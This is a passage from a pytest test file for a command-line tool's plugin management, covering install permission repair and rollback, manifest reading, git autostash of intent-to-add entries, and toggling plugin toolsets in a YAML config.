with pytest.raises(pc.PluginScanBlocked):
|
|
pc._install_plugin_core("https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)
|
|
|
|
|
|
class TestInstallReadabilityGate:
|
|
"""A clone that lands unreadable is repaired or rolled back, never shipped (#111804)."""
|
|
|
|
def _clone_with_unreadable_manifest(self, monkeypatch, pc):
|
|
real_chmod = os.chmod # the rollback test replaces os.chmod after this fixture runs
|
|
|
|
def fake_clone(tmp_clone, git_url, revision, subdir=None):
|
|
tmp_clone.mkdir()
|
|
(tmp_clone / "plugin.yaml").write_text("name: badperm\nmanifest_version: 1\n", encoding="utf-8")
|
|
real_chmod(tmp_clone / "plugin.yaml", 0)
|
|
return "0" * 40
|
|
|
|
monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone)
|
|
monkeypatch.setattr(pc, "_scan_plugin_tree", lambda *a, **k: None)
|
|
|
|
@pytest.mark.skipif(os.name == "nt" or os.geteuid() == 0, reason="POSIX mode bits, non-root")
|
|
def test_unreadable_file_is_repaired_before_install(self, tmp_path, monkeypatch):
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
plugins_dir = tmp_path / "plugins"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
self._clone_with_unreadable_manifest(monkeypatch, pc)
|
|
|
|
target, manifest, name = pc._install_plugin_core("file:///tmp/x", force=False)
|
|
|
|
assert name == "badperm" # manifest read after repair, not the URL fallback
|
|
assert (target / "plugin.yaml").read_text(encoding="utf-8").startswith("name: badperm")
|
|
|
|
@pytest.mark.skipif(os.name == "nt" or os.geteuid() == 0, reason="POSIX mode bits, non-root")
|
|
def test_unrepairable_tree_rolls_back_and_names_the_fix(self, tmp_path, monkeypatch):
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
plugins_dir = tmp_path / "plugins"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
self._clone_with_unreadable_manifest(monkeypatch, pc)
|
|
monkeypatch.setattr(pc.os, "chmod", lambda *a, **k: (_ for _ in ()).throw(PermissionError(1, "nope")))
|
|
|
|
with pytest.raises(PluginOperationError, match=r"plugin.yaml is not readable.*chmod -R u\+rX"):
|
|
pc._install_plugin_core("file:///tmp/x", force=False)
|
|
|
|
assert list(plugins_dir.iterdir()) == [] # no half-installed dir, no staging leftovers
|
|
|
|
|
|
def test_portable_manifest_is_visible_to_plugin_cli(tmp_path):
|
|
import json
|
|
|
|
from hermes_cli.agent_plugins import PLUGIN_SCHEMA_V1
|
|
from hermes_cli.plugins_cmd import _read_manifest_info
|
|
|
|
plugin = tmp_path / "portable"
|
|
plugin.mkdir()
|
|
(plugin / "plugin.json").write_text(
|
|
json.dumps(
|
|
{
|
|
"$schema": PLUGIN_SCHEMA_V1,
|
|
"name": "portable.test",
|
|
"version": "1.0.0",
|
|
"description": "Portable test plugin",
|
|
}
|
|
)
|
|
)
|
|
|
|
assert _read_manifest_info(plugin, "") == (
|
|
"portable.test",
|
|
"1.0.0",
|
|
"Portable test plugin",
|
|
"portable.test",
|
|
)
|
|
|
|
|
|
def test_autostash_dirty_tree_promotes_intent_to_add_entries(tmp_path):
|
|
"""A plugin checkout holding `git add -N` entries must still autostash.
|
|
|
|
Same class as the `hermes update` autostash: an intent-to-add entry is never "uptodate", so
|
|
`git stash push` refuses it. A plugin install is patched in place often enough that this state is
|
|
ordinary rather than exotic, and the failure would abort the plugin update with a confusing error.
|
|
"""
|
|
import subprocess
|
|
|
|
from hermes_cli.plugins_cmd import _autostash_dirty_tree
|
|
|
|
def git(*args, check=True):
|
|
return subprocess.run(
|
|
["git", *args], cwd=tmp_path, capture_output=True, text=True, check=check
|
|
)
|
|
|
|
git("init", "-q", "-b", "main")
|
|
git("config", "user.email", "t@example.com")
|
|
git("config", "user.name", "t")
|
|
(tmp_path / "README.md").write_text("plugin\n", encoding="utf-8")
|
|
git("add", "-A")
|
|
git("commit", "-qm", "init")
|
|
|
|
local = tmp_path / "local_patch.py"
|
|
local.write_text("PATCHED = True\n", encoding="utf-8")
|
|
git("add", "-N", "local_patch.py")
|
|
assert " A local_patch.py" in git("status", "--porcelain").stdout.splitlines()
|
|
|
|
stashed, error = _autostash_dirty_tree("git", tmp_path)
|
|
|
|
assert error == "", "the plugin autostash must not be blocked by i-t-a entries"
|
|
assert stashed == git("rev-parse", "refs/stash").stdout.strip() # the autostash commit sha
|
|
assert git("status", "--porcelain").stdout == ""
|
|
|
|
|
|
def test_toggle_plugin_toolset_rewrites_a_list_literal_string_platform_entry(tmp_path, monkeypatch):
|
|
"""``hermes plugins enable`` must reach a platform whose ``platform_toolsets`` entry is the
|
|
list-literal string an older ``hermes config set`` stored, and re-save it as a real list —
|
|
the runtime already reads that string as the user's selection (follow-up to #115866)."""
|
|
|
|
from hermes_cli import plugins_cmd
|
|
|
|
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
|
(tmp_path / "config.yaml").write_text(
|
|
yaml.safe_dump({"platform_toolsets": {"cli": '["web", "terminal"]', "telegram": ["hermes-telegram"]}}),
|
|
encoding="utf-8")
|
|
monkeypatch.setattr(plugins_cmd, "_get_plugin_toolset_key", lambda name: "my-plugin")
|
|
|
|
plugins_cmd._toggle_plugin_toolset("my-plugin", enable=True)
|
|
saved = yaml.safe_load((tmp_path / "config.yaml").read_text(encoding="utf-8"))["platform_toolsets"]
|
|
assert saved["cli"] == ["web", "terminal", "my-plugin"]
|
|
assert saved["telegram"] == ["hermes-telegram", "my-plugin"]
|
|
|
|
plugins_cmd._toggle_plugin_toolset("my-plugin", enable=False)
|
|
saved = yaml.safe_load((tmp_path / "config.yaml").read_text(encoding="utf-8"))["platform_toolsets"]
|
|
assert saved["cli"] == ["web", "terminal"]
|